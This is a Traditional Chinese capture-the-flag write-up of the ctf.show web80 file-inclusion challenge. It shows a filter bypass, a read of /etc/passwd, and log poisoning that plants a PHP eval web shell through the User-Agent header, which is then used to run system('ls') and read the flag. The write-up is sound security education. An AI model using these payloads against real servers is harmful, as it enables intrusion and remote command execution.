> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# ctf.show - web80 writeup (zh-TW)
- URL: https://taiwanding.com/ctf-show-web80-writeup-zh-tw/
- Published: 2025-08-31T15:13:37.000Z
- Updated: 2025-09-06T04:30:34.000Z
- Author: Kevin Chen
- Tags: CTF, #ctf.show

## 題目資訊

- 平台：ctf.show
- 分類：Web 入門
- 題目名稱：文件包含漏洞挑戰

## 解題過程

### Step 1: 偵察

訪問網站，發現原始碼：

```php
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
```

### Step 2: 測試過濾規則

- 嘗試 `?file=php://filter/...` → 失敗（php 被過濾）
- 嘗試 `?file=data://...` → 失敗（data 被過濾）
- 嘗試 `?file=/etc/passwd` → 成功（路徑遍歷可用）

### Step 3: 日誌包含攻擊

**污染日誌檔案：**

```bash
curl http://[challenge-url]/ \
  -H "User-Agent: <?=eval(\$_REQUEST['cmd']);?>"

```

### Step 4: 執行命令

**列出目錄：**

```
http://[challenge-url]/?file=/var/log/nginx/access.log&cmd=system('ls');

```

**發現檔案：**

```
drwxrwxrwx 1 www-data www-data 4096 Aug 31 14:27 .
drwxr-xr-x 1 root     root     4096 Oct 31 2019  ..
-rw-r--r-- 1 www-data www-data  278 Aug 31 14:27 fl0g.php
-rw-r--r-- 1 www-data www-data  420 Sep 16 2020  index.php

```

### Step 5: 讀取 Flag

```
http://[challenge-url]/?file=/var/log/nginx/access.log&cmd=system('cat fl0g.*');
```

**獲得 Flag：**

```php
$flag="ctfshow{REDACTED}";

```

## 學習重點

- **LFI 漏洞利用**：透過包含日誌檔案執行任意代碼
- **過濾繞過技巧**：使用萬用字元 `*` 繞過 "php" 關鍵字過濾
- **日誌污染**：利用 User-Agent 注入 PHP 代碼到日誌